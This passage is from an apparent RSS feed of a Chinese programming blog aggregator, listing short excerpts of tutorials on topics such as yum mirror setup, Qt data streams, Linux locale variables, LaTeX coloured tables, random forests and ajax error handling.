这是我的配置和配置文件资源文件，不仔细看还真没发现，两边一个resource，一个resources，这样编译的时候当然找不到配置文件啦。粗心！！！当然这并不是我的坑，这个项目是成品接过来的，并不是推卸责任，追根溯源，到svn版本库的初始上传就是这么个问题，这里只是提醒大家一定要细心，或许能少走弯路。&#xA;希望能帮到大家。总之原因很多，归根究底，还是回归到路径问题。</description>
    </item>
    <item>
      <title>FileSystemWatcher用法详解</title>
      <link>https://bchobby.github.io/posts/100654ce0be47eed1fe0ed9384cda24b/</link>
      <pubDate>Fri, 21 Dec 2018 16:26:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/100654ce0be47eed1fe0ed9384cda24b/</guid>
      <description>FileSystemWatcher用法详解 FileSystemWatcher控件主要功能：&#xA;监控指定文件或目录的文件的创建、删除、改动、重命名等活动。可以动态地定义需要监控的文件类型及文件属性改动的类型。&#xA;1.常用的几个基本属性：&#xA;(1) Path ：设置要监视的目录的路径。&#xA;(2) IncludeSubdirectories ：设置是否级联监视指定路径中的子目录。&#xA;(3) Filter ：设置筛选字符串，用于确定在目录中监视哪些类型的文件。&#xA;(4) NotifyFilter ：设置文件的哪些属性的变动会触发Changed事件，同时监控多个属性变动可以按“或”组合。（默认值为 NotifyFilter.LastWrite | NotifyFilter.FileName | NotifyFilter.DirectoryName 组合）&#xA;子项： Attributes -- 文件或文件夹的属性。 CreationTime -- 文件或文件夹的创建时间。 DirectoryName -- 目录名。（常用） FileName -- 文件名。 （常用）&#xA;LastAccess -- 文件或文件夹上一次打开的日期。 LastWrite -- 上一次向文件或文件夹写入内容的日期。 Security -- 文件或文件夹的安全设置。 Size -- 文件或文件夹的大小。 （常用）&#xA;(5) EnableRaisingEvents ：设置是否开始监控。（默认为false）&#xA;2.常用事件：&#xA;(1) Changed ：当更改文件和目录时发生，可以通过NotifyFilter属性设置触发该事件的需要文件更改的属性。&#xA;(2) Created ： 当创建文件和目录时发生。 (3) Deleted ： 删除文件或目录时发生。 (4) Renamed ：重命名文件或目录时发生。&#xA;(5) FileSystemEventArgs 对象：</description>
    </item>
    <item>
      <title>阿里yum源配置</title>
      <link>https://bchobby.github.io/posts/8ae723c06a3692670f7420fc231e5adf/</link>
      <pubDate>Fri, 21 Dec 2018 16:25:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8ae723c06a3692670f7420fc231e5adf/</guid>
      <description> http://mirrors.aliyun.com/help/centos?spm=5176.bbsr150321.0.0.d6ykiD&#xA;1、备份 mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup&#xA;2、下载新的CentOS-Base.repo 到/etc/yum.repos.d/ CentOS 5&#xA;wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-5.repo&#xA;或者&#xA;curl -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-5.repo&#xA;CentOS 6&#xA;wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-6.repo&#xA;或者&#xA;curl -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-6.repo&#xA;CentOS 7&#xA;wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo&#xA;或者&#xA;curl -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo&#xA;3、yum clean all 之后运行yum makecache生成缓存 </description>
    </item>
    <item>
      <title>分页插件pagination.js的使用</title>
      <link>https://bchobby.github.io/posts/42ea2ad4c1b6059eac081ff0dd762ccf/</link>
      <pubDate>Wed, 19 Dec 2018 17:44:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/42ea2ad4c1b6059eac081ff0dd762ccf/</guid>
      <description>今日分享一款分页插件，让页面变的更加简单。&#xA;Pagination.js 官网：http://pagination.js.org/&#xA;该js文档非常清晰，非常简单明了，所以很容易手上&#xA;1、引入jQuery和jQuery.pagination.js文件&#xA;&amp;lt;script src=&#34;../js/public/jquery.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;../js/public/pagination/pagination.js&#34;&amp;gt;&amp;lt;/script&amp;gt; 2.css样式&#xA;&amp;lt;link href=&#34;../css/public/pagination/pagination.css&#34; rel=&#34;stylesheet&#34;/&amp;gt; 3.html代码&#xA;&amp;lt;div class=&#34;mui-content&#34;&amp;gt; &amp;lt;div class=&#34;profit_titleBox&#34;&amp;gt; &amp;lt;span class=&#34;span1&#34;&amp;gt;年份&amp;lt;/span&amp;gt; &amp;lt;span class=&#34;span2&#34;&amp;gt;日期&amp;lt;/span&amp;gt; &amp;lt;span class=&#34;span3&#34;&amp;gt;分润金额&amp;lt;/span&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;!-- 分页内容部分 --&amp;gt; &amp;lt;div class=&#34;row page-list&#34;&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;!-- 分页显示页数部分 --&amp;gt; &amp;lt;div class=&#34;row &#34;&amp;gt; &amp;lt;div class=&#34;page-container&#34;&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; 4.js代码&#xA;&amp;lt;script type=&#34;text/javascript&#34;&amp;gt; const pageSize = 10 // 默认页码大小 const dataCount = 100 // 测试数据数量 const pager = new Pagination(&#39;.page-container&#39;, { pageSize: pageSize, autoLoad: true, unit: &#39;条&#39;, toPage: function(index, _pageSize) { // 设置记录总数，用于生成分页HTML内容 if (index === 0 || _pageSize) this.</description>
    </item>
    <item>
      <title>qt中将数据存入文档再读出------------ writeRawData 与readRawData成对使用</title>
      <link>https://bchobby.github.io/posts/01caf0c7637c9643773b61ff1aa089d5/</link>
      <pubDate>Wed, 19 Dec 2018 17:21:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/01caf0c7637c9643773b61ff1aa089d5/</guid>
      <description>先参考一段代码：&#xA;来自 https://blog.csdn.net/amnes1a/article/details/64125120&#xA;#include &#34;mainwindow.h&#34; #include “QApplication” #include ”QDebug“ #include ”QDataStream“ #include ”QFile“ #include ”QVector“ #include ”QMap“ int main(int argc, char *argv[]) { QCoreApplication a(argc, argv); //write QFile file(&#34;test.dat&#34;); if (!file.open(QIODevice::ReadWrite)) { qDebug() &amp;lt;&amp;lt; &#34;open file failed&#34;; return 0; } QDataStream ds(&amp;amp;file); const char *wstr = &#34;hello-world&#34;; quint32 wi = 1234; double wd = 1.1; float wf = 2.2f; QVector&amp;lt;int&amp;gt; wvector; wvector.push_back(1); wvector.push_back(2); wvector.push_back(3); QMap&amp;lt;int,int&amp;gt; wmap; wmap.insert(4, 4); wmap.insert(5, 5); wmap.</description>
    </item>
    <item>
      <title>npm run 时报错 failed to parse json</title>
      <link>https://bchobby.github.io/posts/751f78e3025e0a99f0195d9a6cd9e750/</link>
      <pubDate>Wed, 19 Dec 2018 16:13:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/751f78e3025e0a99f0195d9a6cd9e750/</guid>
      <description>今天在玩npm时，到npm run 时，或者npm run-script，都报错，形式如下：&#xA;这是我报错时使用的package.json文件&#xA;{ &#34;name&#34;: &#34;nodeTest&#34;, &#34;version&#34;: &#34;1.0.0&#34;, &#34;description&#34;: &#34;&#34;, &#34;main&#34;: &#34;index.js&#34;, &#34;dependencies&#34;: { &#34;jshint&#34;: &#34;^2.9.7&#34;, &#34;lodash&#34;: &#34;^4.17.11&#34;, &#34;md5&#34;: &#34;^2.2.1&#34; }, &#34;devDependencies&#34;: {}, &#34;scripts&#34;: { &#34;hehe&#34;:&#34;node index.js&#34; &#34;test&#34;: &#34;echo \&#34;Error: no test specified\&#34; &amp;amp;&amp;amp; exit 1&#34; }, &#34;keywords&#34;: [], &#34;author&#34;: &#34;lgx &amp;lt;1134569285@qq.com&amp;gt;&#34;, &#34;license&#34;: &#34;MIT&#34; } 错误原因是：package.json文件的格式问题。&#xA;查到最后，我这文件的问题就处在少了一个“ ，”，导致了package.json格式不正确（果然细节很重要啊）&#xA;总结：这类问题错误原因是：package.json文件的格式问题。 a.检查属性名称和属性值是否都用 “” ，&#xA;b.有些地方逗号不能少&#xA;c.还有最后一个依赖的末尾不需要加 “，”；以及冒号问题。</description>
    </item>
    <item>
      <title>Android CTS测试中./cts-tradefed出现Unable to find aapt in path  解决方案</title>
      <link>https://bchobby.github.io/posts/888091aca9e30052da2b5f961609fe07/</link>
      <pubDate>Wed, 19 Dec 2018 15:51:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/888091aca9e30052da2b5f961609fe07/</guid>
      <description>cts测试，本来测试得好好的，关闭终端后重新打开，再次开启，运行./cts-tradefed命令出错，显示Unable to find aapt in path&#xA;解决方案：&#xA;1.安装aapt&#xA;输入sudo apt-get install aapt&#xA;安装成功后重新输入./cts-tradefed&#xA;2.如果以上方案还没有解决，可以尝试去out 目录下将out/host/linux-x86/bin/aapt放到某个目录下(如：/usr/bin/)，将该目录（如：/usr/bin/） 添加到 PATH 中去。&#xA;export PATH=$PATH:~/tools/bin/&#xA;如果采用第二种方案后面又报错，apk installed but AaptParser failed&#xA;可以看出还是aapt的问题 。可以尝试运行一下aapt，发现又报错了：&#xA;aapt: error while loading shared libraries: libc++.so: cannot open shared object file: No such file or directory&#xA;可以看出是找不到libc++.so文件，于是在linux-x86目录下搜索，复制到/usr/lib下，重新运行aapt，发现aapt可以运行了。&#xA;尝试./cts-tradefed未报错。</description>
    </item>
    <item>
      <title>开启dubbo之旅——监控平台</title>
      <link>https://bchobby.github.io/posts/7a719be8fbb1ebf714f33f61ceb55d39/</link>
      <pubDate>Wed, 19 Dec 2018 14:27:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7a719be8fbb1ebf714f33f61ceb55d39/</guid>
      <description>正经学徒，佛系记录，不搞事情&#xA;监控平台与管理平台一样，不是必须品，仅仅作为统计服务的调用次调和调用时间的监控中心&#xA;管理平台的搭建参考博客：https://blog.csdn.net/qq_31748587/article/details/84883504&#xA;下载地址：https://github.com/apache/incubator-dubbo-ops/tree/master&#xA;下载后在pom.xml目录直接执行命令&#xA;mvn clean package 执行完成后，会生成target文件夹，内有一个压缩文件dubbo-monitor-simple-2.0.0-assembly.tar.gz&#xA;解压该文件后如下：&#xA;conf目录下有dubbo.properties配置文件&#xA;dubbo.protocol.port=7070：服务消费者和提供者通过该端口发送统计信息到monitor（监控平台）&#xA;dubbo.jetty.directory:7010：监控平台的端口，这里使用的是jetty容器，作用同tomcat&#xA;启动服务：&#xA;进入assembly.bin目录，执行start.bat即可&#xA;访问7010端口服务：&#xA;修改dubbo的消费者和提供者的配置文件，追加&#xA;#连接监控中心 dubbo.monitor.protocol=registry 启动服务后：</description>
    </item>
    <item>
      <title>Vmware Workstation下设置Ubuntu固定IP且与物理主机同网段</title>
      <link>https://bchobby.github.io/posts/a899826daf929eebfcd24431c9930b1a/</link>
      <pubDate>Wed, 19 Dec 2018 00:06:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a899826daf929eebfcd24431c9930b1a/</guid>
      <description>软件版本 Vmware WorkStation版本：VMware® Workstation 12 Pro （12.1.0 build-3272444）Ubuntu版本：ubuntu-16.04.5-desktop-i386# 物理机网络配置 我的物理机安装win10系统，通过WiFi连接无线路由器上网，无线路由器IP地址为192.168.3.1。我的物理机无线网卡设置如下。&#xA;目的 Vmware WorkStation中运行Ubuntu，把Ubuntu配置成固定IP地址，且固定IP地址与物理主机在同一网段（即子网192.168.3.0，子网掩码255.255.255.0），虚拟机中的Ubuntu可以上网。&#xA;方法 将虚拟机的网络适配器设置为桥接模式，如图&#xA;打开Vmware的虚拟网络编辑器&#xA;设置网络适配器VMnet8连接到的网络&#xA;注意：不要勾选DHCP设置 网络适配器Vmware Network Adapter VMnet8的IPv4属性&#xA;5. 进入虚拟机，打开Ubuntu，修改网络接口配置&#xA;(1)在Terminal中输入ifconfig查看网络接口卡的名字，一般是ens33，记住ens33 ifconfig (2)编辑网络接口配置文件/etc/network/interfaces&#xA;sudo gedit /etc/network/interfaces 没配置之前应该看到的只有一个接口lo,如下&#xA;auto lo iface lo inet loopback 编辑该文件如下，address后面改成你需要的ip，网关和物理机的网关一样，注意应在同一子网内。&#xA;(3)编辑/etc/resolv.conf，配置默认网关&#xA;sudo gedit /etc/resolv.conf (4)在配置文件/etc/resolvconf/resolv.conf.d/base中添加网关&#xA;sudo gedit /etc/resolvconf/resolv.conf.d/base (5)重启虚拟机，大功告成。</description>
    </item>
    <item>
      <title>locale的设定及其LANG、LC_ALL、LANGUAGE环境变量的区别</title>
      <link>https://bchobby.github.io/posts/84d7d5dc31b366bc30ef042e274d96e5/</link>
      <pubDate>Tue, 18 Dec 2018 23:30:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/84d7d5dc31b366bc30ef042e274d96e5/</guid>
      <description>locale命令 locale这个单词中文翻译成地区或者地域，其实这个单词包含的意义要宽泛很多。Locale是根据计算机用户所使用的语言，所在国家或者地区，以及当地的文化传统所定义的一个软件运行时的语言环境。&#xA;[oracle@game ~]$ locale&#xA;LANG=en_US.UTF-8&#xA;LC_CTYPE=&#34;en_US.UTF-8&#34;&#xA;LC_NUMERIC=&#34;en_US.UTF-8&#34;&#xA;LC_TIME=&#34;en_US.UTF-8&#34;&#xA;LC_COLLATE=&#34;en_US.UTF-8&#34;&#xA;LC_MONETARY=&#34;en_US.UTF-8&#34;&#xA;LC_MESSAGES=&#34;en_US.UTF-8&#34;&#xA;LC_PAPER=&#34;en_US.UTF-8&#34;&#xA;LC_NAME=&#34;en_US.UTF-8&#34;&#xA;LC_ADDRESS=&#34;en_US.UTF-8&#34;&#xA;LC_TELEPHONE=&#34;en_US.UTF-8&#34;&#xA;LC_MEASUREMENT=&#34;en_US.UTF-8&#34;&#xA;LC_IDENTIFICATION=&#34;en_US.UTF-8&#34;&#xA;LC_ALL=en_US.UTF-8&#xA;[oracle@game ~]$ locale分类 locale把按照所涉及到的文化传统的各个方面分成12个大类，这12个大类分别是：&#xA;1、语言符号及其分类(LC_CTYPE) 2、数字(LC_NUMERIC) 3、比较和排序习惯(LC_COLLATE) 4、时间显示格式(LC_TIME) 5、货币单位(LC_MONETARY) 6、信息主要是提示信息,错误信息,状态信息,标题,标签,按钮和菜单等(LC_MESSAGES) 7、姓名书写方式(LC_NAME) 8、地址书写方式(LC_ADDRESS) 9、电话号码书写方式(LC_TELEPHONE) 10、度量衡表达方式 (LC_MEASUREMENT) 11、默认纸张尺寸大小(LC_PAPER) 12、对locale自身包含信息的概述(LC_IDENTIFICATION)。&#xA;所以说，locale就是某一个地域内的人们的语言习惯和文化传统和生活习惯。&#xA;字符集 上面我们说到了zh_CN.GB18030的前半部分，后半部分是什么呢？大部分Linux用户都知道是系统采用的字符集。&#xA;zh_CN.GB2312到底是在说什么？ Locale是软件在运行时的语言环境, 它包括语言(Language), 地域 (Territory) 和字符集(Codeset)。一个locale的书写格式为: 语言[_地域[.字符集]]。所以说呢，locale总是和一定的字符集相联系的。下面举几个例子：&#xA;1、我说中文，身处中华人民共和国，使用国标2312字符集来表达字符。zh_CN.GB2312＝中文_中华人民共和国＋国标2312字符集。 2、我说中文，身处中华人民共和国，使用国标18030字符集来表达字符。zh_CN.GB18030＝中文_中华人民共和国＋国标18030字符集。 3、我说中文，身处中华人民共和国台湾省，使用国标Big5字符集来表达字符。zh_TW.BIG5=中文_台湾.大五码字符集 4、我说英文，身处大不列颠，使用ISO-8859-1字符集来表达字符。 en_GB.ISO-8859-1=英文_大不列颠.ISO-8859-1字符集 5、我说德语，身处德国，使用UTF-8字符集，习惯了欧洲风格。de_DE.UTF-8@euro＝德语_德国.UTF-8字符集@按照欧洲习惯加以修正，注意不是de_DE@euro.UTF-8，所以完全的locale表达方式是 [语言[_地域][.字符集] [@修正值]。 其中，与中文输入关系最密切的就是LC_CTYPE，LC_CTYPE规定了系统内有效的字符以及这些字符的分类，诸如什么是大写字母，小写字母，大小写转换，标点符号、可打印字符和其他的字符属性等方面。而locale定 义zh_CN中最最重要的一项就是定义了汉字(Class“hanzi”)这一个大类，当然也是用Unicode描述的，这就让中文字符在Linux系统中成为合法的有效字符，而且不论它们是用什么字符集编码的。&#xA;怎样设定locale 设定locale就是设定12大类的locale分类属性，即12个LC_*。除了这12个变量可以设定以外，为了简便起见，还有两个变量：LC_ALL和LANG。它们之间有一个优先级的关系：LC_ALL &amp;gt; LC_* &amp;gt;LANG。可以这么说，LC_ALL是最上级设定或者强制设定，而LANG是默认设定值。&#xA;1、如果你设定了LC_ALL＝zh_CN.UTF-8，那么不管LC_*和LANG设定成什么值，它们都会被强制服从LC_ALL的设定，成为 zh_CN.UTF-8。&#xA;2、假如你设定了LANG＝zh_CN.UTF-8，而其他的LC_*=en_US.UTF-8，并且没有设定LC_ALL的话，那么系统的locale设定以LC_*=en_US.UTF-8。&#xA;3、假如你设定了LANG＝zh_CN.UTF-8，而其他的LC_*，和LC_ALL均未设定的话，系统会将LC_*设定成默认值，也就是LANG的值zh_CN.UTF-8。&#xA;4、假如你设定了LANG＝zh_CN.UTF-8，而其他的LC_CTYPE=en_US.UTF-8，其他的LC_*，和LC_ALL均未设定的话，那么系统的locale设定将是：LC_CTYPE=en_US.UTF-8，其余的 LC_COLLATE，LC_MESSAGES等等均会采用默认值，也就是 LANG的值，也就是LC_COLLATE＝LC_MESSAGES＝……＝ LC_PAPER＝LANG＝zh_CN.UTF-8。</description>
    </item>
    <item>
      <title>LaTex绘制彩色表格</title>
      <link>https://bchobby.github.io/posts/a4b1bf405c304443ef464bdbb3415102/</link>
      <pubDate>Tue, 18 Dec 2018 21:26:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a4b1bf405c304443ef464bdbb3415102/</guid>
      <description>若想给表格增加点色彩，可以使用 Carlisle 的 colortbl 宏包[7]。它提供 的 \columncolor、\rowcolor、\cellcolor 命令可以分别设置列、行、单 元格的颜色。这三个命令的基本语法相似：&#xA;语法：{颜色}&#xA;\columncolor 需要放到列前置命令里，rowcolor、\cellcolor 分别 放到行、单元格之前。colortbl 宏包可以使用 xcolor 宏包的色彩模型；两 者同时，前者不能直接加载，需要通过后者的选项 table 来加载。三个命 令同时使用时，它们的优先顺序为：单元格、行、列。&#xA;\usepackage[table ]{ xcolor} \begin{table }[ htbp] \centering \begin{tabular }{l &amp;gt;{\ columncolor {Yellow }}ll} \rowcolor{Red}操作系统 &amp;amp; 发行版 &amp;amp; 编辑器 \\ Windows &amp;amp; MikTeX &amp;amp; TexMakerX \\ \rowcolor{Green}Unix/Linux &amp;amp; \ cellcolor {Lavender}teTeX &amp;amp; Kile \\ Mac OS &amp;amp; MacTeX &amp;amp; TeXShop \\ \rowcolor{Blue}通用 &amp;amp; TeX Live &amp;amp; TeXworks \\ \end{tabular} \usepackage[table ]{ xcolor} \begin{table }[ htbp] \centering \rowcolors {1}{ White }{ Lavender } \begin{tabular }{ lll} \hline 操作系统 &amp;amp; 发行版 &amp;amp; 编辑器 \\ Windows &amp;amp; MikTeX &amp;amp; TexMakerX \\ Unix/Linux &amp;amp; teTeX &amp;amp; Kile \\ Mac OS &amp;amp; MacTeX &amp;amp; TeXShop \\ 通用 &amp;amp; TeX Live &amp;amp; TeXworks \\ \hline \ hiderowcolors \end{tabular} \end{table} 这种颜色更符合审美。</description>
    </item>
    <item>
      <title>PHP读取大文件的类SplFileObject 【笔记】</title>
      <link>https://bchobby.github.io/posts/91f2cf42521b8bdeb58d2d50314c5cac/</link>
      <pubDate>Tue, 18 Dec 2018 18:01:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/91f2cf42521b8bdeb58d2d50314c5cac/</guid>
      <description>一般读取文件我们用fopen 或者 file_get_contents ,前者可以循环读取，后者可以一次性读取，但都是将文件内容一次性加载来操作。&#xA;如果加载的文件特别大时，如几百M，上G时，这时性能就降下来了，那么PHP里有没有对大文件的处理函数或者类呢？ 答案是：有的。&#xA;PHP真的越来越“面向对象”了，一些原有的基础的SPL方法都开始陆续地实现出class了。&#xA;从 PHP 5.1.0 开始，SPL 库增加了 SplFileObject 与 SplFileInfo 两个标准的文件操作类。SplFileInfo 是从 PHP 5.1.2 开始实现的。&#xA;从字面意思理解看，可以看出 SplFileObject 要比 SplFileInfo 更为强大。&#xA;不错，SplFileInfo 仅用于获取文件的一些属性信息，如文件大小、文件访问时间、文件修改时间、后缀名等值，而 SplFileObject 是继承 SplFileInfo 这些功能的。&#xA;/** 返回文件从X行到Y行的内容(支持php5、php4) * @param string $filename 文件名 * @param int $startLine 开始的行数 * @param int $endLine 结束的行数 * @return string */ function getFileLines($filename, $startLine = 1, $endLine=50, $method=&#39;rb&#39;) { $content = array(); $count = $endLine - $startLine; // 判断php版本（因为要用到SplFileObject，PHP&amp;gt;=5.</description>
    </item>
    <item>
      <title>Linux cat命令详解【笔记】</title>
      <link>https://bchobby.github.io/posts/4c45de8a4412fc280a45d8a79e42f038/</link>
      <pubDate>Tue, 18 Dec 2018 17:56:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4c45de8a4412fc280a45d8a79e42f038/</guid>
      <description>cat命令是linux下的一个文本输出命令，通常是用于观看某个文件的内容的；&#xA;cat主要有三大功能：&#xA;1.一次显示整个文件。&#xA;$ cat filename&#xA;2.从键盘创建一个文件。&#xA;$ cat &amp;gt; filename&#xA;只能创建新文件,不能编辑已有文件.&#xA;3.将几个文件合并为一个文件。&#xA;$cat file1 file2 &amp;gt; file&#xA;cat具体命令格式为 : cat [-AbeEnstTuv] [--help] [--version] fileName&#xA;说明：把档案串连接后传到基本输出(屏幕或加 &amp;gt; fileName 到另一个档案)&#xA;参数：&#xA;-n 或 –number 由 1 开始对所有输出的行数编号&#xA;-b 或 –number-nonblank 和 -n 相似，只不过对于空白行不编号&#xA;-s 或 –squeeze-blank 当遇到有连续两行以上的空白行，就代换为一行的空白行&#xA;-v 或 –show-nonprinting&#xA;范例：&#xA;cat -n linuxfile1 &amp;gt; linuxfile2 把 linuxfile1 的档案内容加上行号后输入 linuxfile2 这个档案里&#xA;cat -b linuxfile1 linuxfile2 &amp;gt;&amp;gt; linuxfile3 把 linuxfile1 和 linuxfile2 的档案内容加上行号(空白行不加)之后将内容附加到linuxfile3 里。</description>
    </item>
    <item>
      <title>随机森林原理及Python3实现代码</title>
      <link>https://bchobby.github.io/posts/d745ff4d0dc9dbde281663e1de5d7295/</link>
      <pubDate>Tue, 18 Dec 2018 10:47:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d745ff4d0dc9dbde281663e1de5d7295/</guid>
      <description>本文假设您已明白决策树原理及CART生成算法&#xA;随机森林的算法核心思想有二：采样 和 完全分裂。采样又分为行采样和列采样，这里的行与列对应的就是样本与特征。完全分裂指的是决策树每一次分裂扩展节点时，能分裂必须分裂，分裂依据可以是信息增益或者增益率。&#xA;对于行采样，模型从M条数据集中随机采样m条数据，一般情况下m取M的平方根大小，分别作为每一棵决策树的训练集。行采样保证了每棵决策树使用的训练集各不相同，这在一定程度上抑制了over-fitting问题。对于列采样，每一棵决策树都从M个特征中随机挑选m个特征作为节点分裂特征来计算，一般情况下m也取M的平方根大小。列采样具体又分为两种方式，一种是全局列采样，即同一棵树的建树过程均采用同一批采样特征；另一种是局部列采样，即每一次节点分裂的时候均单独随机挑选m个特征进行扩展。列采样进一步保证了随机森林不会出现over-fitting问题。 随机森林的最终输出由每一棵决策树的结果共同决定。如果是分类树则通过投票产生最终分类，如果是回归树则取所有结果的平均值。&#xA;随机森林优缺点：&#xA;优点&#xA;1、 在当前的很多数据集上，相对其他算法有着很大的优势，表现良好&#xA;2、它能够处理很高维度（feature很多）的数据，并且不用做特征选择（ PS：特征子集是随机选择的）&#xA;3、在训练完后，它能够给出哪些feature比较重要（ PS：http://blog.csdn.net/keepreder/article/details/47277517）&#xA;4、在创建随机森林的时候，对generlization error使用的是无偏估计，模型泛化能力强&#xA;5、训练速度快，容易做成并行化方法（PS：训练时树与树之间是相互独立的）&#xA;6、 在训练过程中，能够检测到feature间的互相影响&#xA;7、 实现比较简单&#xA;8、 对于不平衡的数据集来说，它可以平衡误差。&#xA;9、如果有很大一部分的特征遗失，仍可以维持准确度。&#xA;缺点：&#xA;1、随机森林已经被证明在某些噪音较大的分类或回归问题上会过拟&#xA;2、对于有不同取值的属性的数据，取值划分较多的属性会对随机森林产生更大的影响，所以随机森林在这种数据上产出的属性权值是不可信的。&#xA;随机森林生成算法：&#xA;根据下列算法而建造每棵树 ：&#xA;1.用N来表示训练用例（样本）的个数，M表示特征数目。&#xA;2.输入特征数目m，用于确定决策树上一个节点的决策结果；其中m应远小于M。&#xA;3.从N个训练用例（样本）中以有放回抽样的方式，取样N次，形成一个训练集（即bootstrap取样），并用未抽到的用例（样本）作预测，评估其误差。&#xA;4.对于每一个节点，随机选择m个特征，决策树上每个节点的决定都是基于这些特征确定的。根据这m个特征，计算其最佳的分裂方式。&#xA;5.每棵树都会完整成长而不会剪枝，这有可能在建完一棵正常树状分类器后会被采用）。&#xA;以下代码可编译通过！&#xA;from random import seed from random import randint from csv import reader # 建立一棵CART树 &#39;&#39;&#39;试探分枝&#39;&#39;&#39; def data_split(index, value, dataset): left, right = list(), list() for row in dataset: if row[index] &amp;lt; value: left.append(row) else: right.</description>
    </item>
    <item>
      <title>正则表达式匹配首个或全部符合条件的字符串(包含中文)</title>
      <link>https://bchobby.github.io/posts/a2143455337a7e828f0188000bd2f0c0/</link>
      <pubDate>Sun, 16 Dec 2018 17:06:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a2143455337a7e828f0188000bd2f0c0/</guid>
      <description>/.只匹配第一个符合条件的子串&#xA;preg_match($p, $str, $match);&#xA;结果排序为$match[0]保存完整模式的首个匹配, $match[1] 保存第一个子组的首个匹配，以此类推，正则表达式中每个（）表示一个子组。&#xA;/.匹配所有符合条件的子串&#xA;$str = &#34;tom,john,ted&#34;;&#xA;$p = &#39;/\w+/&#39;;&#xA;preg_match_all($p, $str, $matches);&#xA;print_r($matches[0][0]);&#xA;结果排序为数组$matches[0]保存完整模式的所有匹配, 数组$matches[1] 保存第一个子组的所有匹配，以此类推。&#xA;注：&#xA;header(&#34;Content-Type: text/html;charset=utf-8&#34;); //设置页面内容是html，编码格式是utf-8&#xA;$pattern = &#39;/[\x{4e00}-\x{9fa5}_a-zA-Z0-9]+/u&#39;;//匹配中文、下划线、字母、数字&#xA;转载于:https://www.cnblogs.com/shiyiaccn/p/10127170.html</description>
    </item>
    <item>
      <title>CSS：图片不拉伸，垂直居中显示</title>
      <link>https://bchobby.github.io/posts/0ac168156c4bd9384c38f958200ad132/</link>
      <pubDate>Sat, 15 Dec 2018 18:17:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0ac168156c4bd9384c38f958200ad132/</guid>
      <description> &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;&amp;gt; &amp;lt;meta http-equiv=&#34;X-UA-Compatible&#34; content=&#34;ie=edge&#34;&amp;gt; &amp;lt;title&amp;gt;Document&amp;lt;/title&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div class=&#34;container&#34;&amp;gt; &amp;lt;img src=&#34;&#34; /&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div class=&#34;container&#34;&amp;gt; &amp;lt;img src=&#34;&#34; /&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;style&amp;gt; img{ max-height: 100%; max-width: 100%; vertical-align: middle; } .container{ height: 500px; width: 500px; margin-top: 20px; line-height: 498px; text-align: center; border: 1px solid #05a; } &amp;lt;/style&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; </description>
    </item>
    <item>
      <title>ajax请求进入error的原因分析</title>
      <link>https://bchobby.github.io/posts/de4756a04163b55d62b7204644495088/</link>
      <pubDate>Sat, 15 Dec 2018 14:05:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/de4756a04163b55d62b7204644495088/</guid>
      <description>先给出ajax完整的调用和获取错误信息的方式&#xA;function queryData(searchPageNum){ __showLoading(); var json =getQueryParameter(searchPageNum); $.ajax({ type: &#34;POST&#34;, url: &#34;../userFilter/queryUser.action&#34;, contentType : &#34;application/json&#34;, dataType:&#34;json&#34;, data: JSON.stringify(json), success: function(resp){ alert(&#34;success&#34;); }, error:function(XMLHttpRequest, textStatus, errorThrown){ debugger // 状态码 console.log(XMLHttpRequest.status); // 状态 console.log(XMLHttpRequest.readyState); // 错误信息 console.log(textStatus); __hideLoading(); if(XMLHttpRequest.readyState==0){ // 对应登录超时问题，直接跳到登录页面 location.href=&#39;../Login.action&#39;; }else{ $.messager.alert(&#39;提示&#39;,&#39;系统内部错误，请联系管理员处理！&#39;,&#39;info&#39;); } } }); } 第一种情况页面控制台是 XMLHttpRequest.status：200 XMLHttpRequest.readyState：4 textStatus：parsererror 针对此种情况可能是下面三种原因： 1）返回内容格式与ajax请求中声明的不一致，声明的dataType是txt，但是返回的实际是json dataType:&#34;json&#34;,是否前后台数据类型保持了一致 如下面的实例，dataType是txt，但是返回的是json 请求内容： 返回内容： 2）后台代码内部处理问题 后台代码报错： 前台返回时空 3）在后台请求进行了页面跳转或下载等功能，ajax不支持；因为ajax请求获取的数据的都是字符串（此点当时在调试页面的时候，Response响应中满是乱码的字符串文本），它没法解决后台返回的文件流，也就是无法实现文件的下载功能 第二种情况是登陆超时的情况，此时会先报如下错误&#xA;POST 